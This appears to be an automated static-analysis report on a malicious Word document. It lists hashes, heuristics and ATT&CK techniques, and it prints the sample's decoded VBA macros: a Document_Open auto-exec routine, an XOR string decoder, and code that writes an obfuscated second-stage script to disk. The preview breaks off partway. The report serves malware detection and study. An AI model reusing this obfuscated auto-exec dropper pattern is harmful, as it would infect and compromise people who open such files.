Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c26092706381c1e…

MALICIOUS

Office (OLE)

334.5 KB Created: 2018-01-06 15:24:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: 40d13c5d392f1643680d53dc3e533d44 SHA-1: 1c7dd48c2c3ecf46251973dd127e4e2e73667c1b SHA-256: 6c26092706381c1ec4c5a095606ca79a5a9a3f519aae625bc80ff24d514459ff
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains obfuscated VBA macros designed to execute a second-stage payload. The Document_Open macro triggers the execution of a function that uses CreateObject to instantiate a FileSystemObject and write a file named 'IAccessible2Proxy.exe' to 'C:\Users\Public\Documents\'. It also attempts to establish persistence by writing to the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. The script's obfuscation and its actions strongly suggest it is a downloader for further malicious activity.

Heuristics 7

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6764 bytes
SHA-256: 2d77f5b46364155d16ea6516b042420b216e3147ab5b285b497ecc6a87af7509
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If ActiveDocument.Variables("zWIkDR").Value <> "toto" Then
ZfBSmEhljbOtFvo
ActiveDocument.Variables("zWIkDR").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub


Attribute VB_Name = "XPcGOlF"
Private Function jIRcikDLyQ(NxPTRucbzh As Variant, SxXvolLaIe As Integer)
Dim XDkiyaRpVm, lEGZKmVVbZ As String, vqMZnjZtrI, zgQMWYlfXa
lEGZKmVVbZ = ActiveDocument.Variables("zWIkDR").Value()
XDkiyaRpVm = ""
vqMZnjZtrI = 1
While vqMZnjZtrI < UBound(NxPTRucbzh) + 2
zgQMWYlfXa = vqMZnjZtrI Mod Len(lEGZKmVVbZ): If zgQMWYlfXa = 0 Then zgQMWYlfXa = Len(lEGZKmVVbZ)
XDkiyaRpVm = XDkiyaRpVm + Chr(Asc(Mid(lEGZKmVVbZ, zgQMWYlfXa + SxXvolLaIe, 1)) Xor CInt(NxPTRucbzh(vqMZnjZtrI - 1)))
vqMZnjZtrI = vqMZnjZtrI + 1
Wend
jIRcikDLyQ = XDkiyaRpVm
End Function
Function ZfBSmEhljbOtFvo()
Set fs = CreateObject(jIRcikDLyQ(Array(35, 32, 49, 28, 6, 55, 31, 20, 12, 86, 7, 27, 93, 85, 25, 42, 23, 6, 44, 20, 32, _
36, 6, 9, 57, 33), 857))
Set a = fs.CreateTextFile(jIRcikDLyQ(Array(114, 14, 61, 63, 16, 0, 4, 7, 61, 24, 45, 23, 89, 11, 10, 16, 52, 0, 9, 16, 24, _
51, 24, 33), 542), True)
a.WriteLine (jIRcikDLyQ(Array(25, 68, 35, 47, 74, 63, 79, 120, 77, 102, 3, 7, 60, 58, 124, 102, 95, 89, 78, 84, 70, _
94, 87, 99, 124, 74, 96, 102, 87, 109, 81, 93, 14, 91, 62, 40, 101, 60, 23, 36, 78), 923))
a.WriteLine (jIRcikDLyQ(Array(4, 69, 0, 34, 88, 29, 18, 68, 76, 108, 101, 20, 14, 54, 109, 27, 29, 64, 26, 47, 99, _
12, 33, 52, 57, 18, 24, 48, 60, 38, 3, 90, 41, 59, 10, 88), 1038))
a.WriteLine (jIRcikDLyQ(Array(7, 62, 52, 70, 68, 100, 125, 99, 98, 33, 36, 17, 48, 33, 45, 57, 101, 110, 19, 59, 127, _
32, 60, 102, 61, 1, 34, 14, 20, 47, 6, 19, 22, 40, 56, 96, 117, 57, 68, 122, 67, _
117), 428))
a.WriteLine (jIRcikDLyQ(Array(34, 35, 8, 43, 62, 115, 7, 1, 27, 6, 10, 2, 41, 28, 35, 102, 100, 102, 26, 101, 58, _
2, 20, 41, 115, 50, 99, 36, 44, 52, 48, 30, 37, 49, 8, 4, 63, 9, 44, 6, 19, _
76, 108, 101), 84))
a.WriteLine (jIRcikDLyQ(Array(48, 86, 11, 0, 2, 114, 0, 97, 5, 25, 48, 1, 100, 13, 51, 35, 37, 24, 34, 6, 29, _
8, 3, 54, 118, 58, 57, 63, 43, 116, 17, 35, 13, 21, 114, 38, 31, 73, 127, 77, 94), 717))
a.WriteLine (jIRcikDLyQ(Array(13, 4, 28, 33, 28, 19, 31, 55, 62, 36, 106, 21, 58, 31, 49, 27, 60, 10, 29, 5, 22, _
17, 42, 54, 60, 27, 2, 124, 62, 2, 14, 49, 0, 55, 62, 26, 116, 71, 88, 98), 883))
a.WriteLine (jIRcikDLyQ(Array(43, 80, 94, 100, 12, 6, 45, 31, 73, 12, 82, 69, 6, 53, 66, 4, 115, 62, 71, 10, 52, _
72, 49, 34, 75, 19, 20, 48, 5, 118, 35, 62, 4, 45, 4, 51, 33, 49, 35, 75, 33, _
22, 55, 15, 93, 52, 23, 44, 42, 62, 121, 34, 26, 66, 60, 57), 566))
a.WriteLine (jIRcikDLyQ(Array(28, 10, 32, 108, 18, 89, 29, 6, 39), 364))
a.WriteLine (jIRcikDLyQ(Array(61, 45, 35, 69, 50, 57, 54, 60, 21, 126, 116, 121, 92, 35, 60, 90, 27, 43), 470))
a.WriteLine (jIRcikDLyQ(Array(100, 48, 60, 19, 42, 76, 13, 56, 74, 13, 97, 39, 29, 34, 5, 55, 33, 125, 46, 92, 17, _
54, 39, 27, 90, 61, 39, 28, 43, 21, 17, 5, 76, 26, 8, 26, 28, 63, 4, 19, 96, _
29, 16, 76, 39, 22, 4, 91, 101, 67, 4, 91, 92), 373))
a.WriteLine (jIRcikDLyQ(Array(6, 87, 17, 61, 27, 67, 70, 107, 122, 2, 21, 123, 53, 35, 62, 1, 37, 3, 90, 14, 1, _
47, 61, 116, 58, 82, 38, 86, 39, 26, 39, 38, 22, 4, 120, 34, 69, 12, 0, 6, 46, _
62, 17, 6, 23, 49, 57, 82, 115, 97, 3, 45, 0, 32, 50, 61, 25, 19, 57, 27, 12, _
49, 21, 52, 4, 21, 71, 22, 2, 18, 67, 120, 27), 9))
a.WriteLine (jIRcikDLyQ(Array(32, 87, 89, 31, 6, 17, 4, 78, 121, 35, 18, 4, 26, 21, 10, 81, 54, 34, 21, 53, 38, _
45, 45, 68, 35, 2, 66, 19, 9, 71, 61, 42, 67, 15, 87, 44, 33, 52, 2, 36, 84, _
27, 47, 34, 8, 49, 3, 82, 96, 31, 30, 20, 34, 38, 0, 121, 52, 14, 24, 27, 38, _
74, 52, 11, 60, 31, 59, 54, 99, 17, 112), 630))
a.WriteLine (jIRcikDLyQ(Array(42, 4, 71, 28, 23,
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.